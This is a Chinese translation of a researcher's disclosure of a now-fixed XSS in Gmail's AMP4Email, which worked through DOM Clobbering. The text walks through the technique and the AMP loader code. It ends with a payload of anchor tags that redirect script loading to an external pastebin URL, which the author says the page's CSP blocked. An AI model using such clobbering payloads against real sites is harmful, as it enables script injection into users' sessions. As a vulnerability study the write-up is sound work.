原文地址:https://research.securitum.com/xss-in-amp4email-dom-clobbering/

这篇文章是介绍我在2019年八月的谷歌漏洞奖励计划中提交的一个AMP4Email中的XSS漏洞,目前已经得到了修复。这个XSS是现实世界中浏览器中著名的DOM Clobbering问题的一个真实案例。

什么是AMP4Email?

AMP4Email(也称为动态邮件)是Gmail的一个新特性,它可以使电子邮件包含动态HTML内容。虽然包含HTML标记的电子邮件已经存在很多年了,但人们通常认为邮件的HTML只包含静态内容,如一些格式化的东西,图像等,而没有任何脚本或表单。AMP4Email意味着更进一步,其允许电子邮件中的动态内容。在谷歌官方G Suite博客的一篇文章中,对动态邮件的使用进行了很好的总结:

使用动态电子邮件,你可以容易地直接在邮件中进行一些操作,比如回复某个事件、填写问卷、浏览目录或回复评论。 以在谷歌文档中做评论为例。现在,当某人在评论中提到你时,你将不会收到单独的电子邮件通知,而是在Gmail中看到一个最新的线程,你可以很容易地从消息中回复或关闭评论。

该特性带来了一些明显的安全问题;最重要的一个可能是:跨站点脚本(XSS)?如果我们允许在电子邮件中使用动态内容,这是否意味着我们可以轻松地注入任意的JavaScript代码?——不,事实上,要实现这并不容易。
简而言之,AMP4Email有一个强大的验证器,其是一个动态邮件中允许的标记和属性的强大的白名单。你可以在https://amp.gmail.dev/playground/上尝试一下,也可以向自己发送一封动态电子邮件,看看它是如何工作的!
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图1
图1 AMP4Email 演示
如果你试图添加验证器不允许的任何HTML元素或属性,将会收到一个错误。
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图2
图2 AMP验证器不允许任何脚本标签
在试用AMP4Email并尝试各种绕过它的方法时,我注意到id属性在标记中是允许的(图3)。注:原中文中这里写的是不允许,但看下面分析,应该是笔误。
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图3
图3 id属性是允许的
这可能是可以进行安全分析的点,因为创建具有用户控制的id属性的HTML元素可能导致DOM Clobbering。

DOM Clobbering

DOM Clobbering是一个不断给许多应用程序带来麻烦web浏览器的遗留特性。一般来讲,当你创建一个HTML元素(例如,<input id=username>),并且想利用JavaScript引用它,你会这样做document.getElementById('username') 或者document.querySelector('#username')。但这并不是唯一的方法!
传统的方法是通过全局window 对象的属性来访问它。所以在这个例子中,window.usernamdocument.getElementById('username')是完全相同的。如果应用程序基于某些全局变量的存在做出决策,这种行为(称为DOM Cloberring)可能会导致有趣的漏洞,例如:if (window.isAdmin) { ... }
为了进一步分析DOM Clobbering,假设我们有以下JavaScript代码:

  1. if (window.test1.test2) {
  2. eval(''+window.test1.test2)
  3. }

我们的目标是仅使用DOM Clobbering技术来评估任意的JS代码。为了实现这个任务,我们首先需要解决这样两个问题:

  1. 我们知道可以在window上创建新属性,但是我们可以在其他对象上创建新属性吗?如例子中的test1.test2
  2. 我们可以控制如何将DOM元素转换成字符串吗?大多数HTML元素在转换为字符串时,都会返回类似的内容[object HTMLInputElement]

让我们首先解决第一个问题。解决这个问题最常用的一个方法是使用<form>标签。<form>标签的每个<input>后代都作为其一个属性被添加,该属性的名称等于<input>name属性。如下面的例子:

  1. <form id=test1>
  2. <input name=test2>
  3. </form>
  4. <script>
  5. alert(test1.test2); // alerts "[object HTMLInputElement]"
  6. </script>

对于第二个问题,我创建了一个简短的JS代码,它遍历HTML中所有可能的元素,并检查它们的toString方法是继承自Object.prototype还是以另一种方式定义的。如果不是继承自Object.prototype,就可以返回[object SomeElement]之外的其他内容。

代码如下:

  1. Object.getOwnPropertyNames(window)
  2. .filter(p => p.match(/Element$/))
  3. .map(p => window[p])
  4. .filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

这段代码返回两个元素:HTMLAreaElement(<area>)和HTMLAnchorElement (<a>)。在AMP4Email中,第一个是不允许的,所以我们只关注第二个。对于<a>元素,toString只返回href属性的值。看下面的例子:

  1. <a id=test1 href=https://securitum.com>
  2. <script>
  3. alert(test1); // alerts "https://securitum.com"
  4. </script>

在这一点上,似乎如果我们想要解决最初的问题(即,通过DOM Clobbering来评估window.test1.test2的值),我们需要一个类似下面的代码:

  1. <form id=test1>
  2. <a name=test2 href="x:alert(1)"></a>
  3. </form>

但问题在于它根本不管用。test1.test2 返回的其实是undefined<input>可以成为<form>的属性,但<a>并不可以。

不过,对于这个问题有一个有趣的解决方案,它可以在基于WebKit和基于blink的浏览器中工作。假设我们有两个id相同的元素:

  1. <a id=test1>click!</a>
  2. <a id=test1>click2!</a>

那么我访问window.test1时会得到什么结果呢?我本能地期望获得具有该id的第一个元素,这是使用document.getElementById('#test1')方法时会产生的结果。然而,在Chromium中,我们实际上得到了一个HTMLCollection

翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图4
图4 window.test指向HTMLCollection
如图4中看到,特别有趣的是我们可以通过索引(本例中为0和1)和id一样访问HTMLCollection中的特定元素。这意味着 window.test1.test1实际上指的是第一个元素。这证明设置name属性也会在HTMLCollection中创建新的属性。如下面的代码:

  1. <a id=test1>click!</a>
  2. <a id=test1 name=test2>click2!</a>

我们可以通过 window.test1.test2方法得到第二个锚元素。

翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图5
图5 window.test1.test2成功获得
那么,回到最初对于DOM Clobbering的利用 eval(''+window.test1.test2) ,可以这样实现:

  1. <a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

现在,让我们回到AMP4Email,看看如何在真实的案例中利用DOM Clobbering

AMP4Email中实现DOM Clobbering

我已经提到过,通过向元素添加自己的id属性,AMP4Email很容易遭受DOM Clobbering 。为了找到一些可利用的条件,我决定看看window 的属性,如图6。立刻引起我注意的是AMP
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图6
图6 全局对象window的属性
AMP4Email实际上使用了一些针对DOM Clobbering的保护,它严格禁止id属性的某些值,例如:AMP,图7中所示。
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图7
图7 在AMP4Email中AMP不能做为id的值
但是,AMP_MODE没有出现相同的限制。所以我准备了一段代码<a id=AMP_MODE>看看会发生什么,我注意到控制台出现了一个非常有趣的错误。
翻译|XSS in GMail’s AMP4Email via DOM Clobbering - 图8
图8 加载某些JS文件发生404
如图8所示, AMP4Email试图加载某些JS文件,但由于404问题未能成功。然而,值得注意的是请求URL 的中间存在一个undefinedhttps://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js)。我能想到的解释只有一个:AMP试图获取一个AMP_MODE属性来将其放到URL中。由于DOM Clobbering,并没有得到预期的值,因此得到的是undefined。实现包含的代码如下:

  1. f.preloadExtension = function(a, b) {
  2. "amp-embed" == a && (a = "amp-ad");
  3. var c = fn(this, a, !1);
  4. if (c.loaded || c.error)
  5. var d = !1;
  6. else
  7. void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
  8. c.scriptPresent = !!d),
  9. d = !c.scriptPresent;
  10. if (d) {
  11. d = b;
  12. b = this.win.document.createElement("script");
  13. b.async = !0;
  14. yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
  15. b.setAttribute("data-script", a);
  16. b.setAttribute("i-amphtml-inserted", "");
  17. var e = this.win.location;
  18. t().test && this.win.testLocation && (e = this.win.testLocation);
  19. if (t().localDev) {
  20. var g = e.protocol + "//" + e.host;
  21. "about:" == e.protocol && (g = "");
  22. e = g + "/dist"
  23. } else
  24. e = hd.cdn;
  25. g = t().rtvVersion;
  26. null == d && (d = "0.1");
  27. d = d ? "-" + d : "";
  28. var h = t().singlePassType ? t().singlePassType + "/" : "";
  29. b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
  30. this.win.document.head.appendChild(b);
  31. c.scriptPresent = !0
  32. }
  33. return gn(c)
  34. }

虽然并不是难以理解,但我还是对它做了手动的反混淆。为了清楚起见,有些部分省略了,如下面所示:

  1. var script = window.document.createElement("script");
  2. script.async = false;
  3. var loc;
  4. if (AMP_MODE.test && window.testLocation) {
  5. loc = window.testLocation
  6. } else {
  7. loc = window.location;
  8. }
  9. if (AMP_MODE.localDev) {
  10. loc = loc.protocol + "//" + loc.host + "/dist"
  11. } else {
  12. loc = "https://cdn.ampproject.org";
  13. }
  14. var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
  15. b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
  16. document.head.appendChild(b);

在第一行,代码创建了一个新的script元素。然后,检查 AMP_MODE.testwindow.testLocation 是否为真。如他们都为真且AMP_MODE.localDev为真(11行),然后window.testLocation被脚本用作生成URL。由于代码的编写方式和DOM Clobbering,第一眼看上去可能不是很明显,但实际上我们可以控制整个URL。我们假设AMP_MODE.testwindow.testLocation 都为真,代码可以进一步简化。

  1. var script = window.document.createElement("script");
  2. script.async = false;
  3. b.src = window.testLocation.protocol + "//" +
  4. window.testLocation.host + "/dist/rtv/" +
  5. AMP_MODE.rtvVersion; + "/" +
  6. (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
  7. "v0/" + pluginName + ".js";
  8. document.head.appendChild(b);

还记得我们之前使用DOM Clobbering重载 window.test1.test2 的例子么?现在我们需要做同样的事情,只不过换成重载window.testLocation.protocol。所以最终的payload为:

  1. <!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
  2. <a id="AMP_MODE"></a>
  3. <a id="AMP_MODE" name="localDev"></a>
  4. <a id="AMP_MODE" name="test"></a>
  5. <!-- window.testLocation.protocol is a base for the URL -->
  6. <a id="testLocation"></a>
  7. <a id="testLocation" name="protocol"
  8. href="https://pastebin.com/raw/0tn8z0rG#"></a>

实际上,由于AMP中部署了Content-Security-Policy,所以代码并没有在现实中执行:

  1. Content-Security-Policy: default-src 'none';
  2. script-src 'sha512-oQwIl...=='
  3. https://cdn.ampproject.org/rtv/
  4. https://cdn.ampproject.org/v0.js
  5. https://cdn.ampproject.org/v0/

我没有找到绕过CSP的方法,但在尝试这么做时,我发现了一个有趣的绕过基于dir的CSP的方法,关于这个方法我发了一条推特,但之后我发现这种方法在2016年的CTF中已经使用过了。对于Google的漏洞奖励计划,不要指望绕过CSP就能得到全额奖励。这仍然是一个有趣的挑战,也许其他人会找到办法绕过它。

总结

在这篇文章中,我展示了在满足某些条件时如何使用DOM Clobbering来执行XSS。如果你想尝试一下这个XSS,可以在这里找到XXS挑战

时间轴

  • 2019年8月15日 - 向谷歌发送报告
  • 2019年8月16日 - 得到谷歌响应
  • 2019年9月1日 - 谷歌确认漏洞
  • 2019年10月12日 - 来自谷歌的确认,bug已经修复(尽管实际上它发生的时间更早)
  • 2019年11月18日 - 公开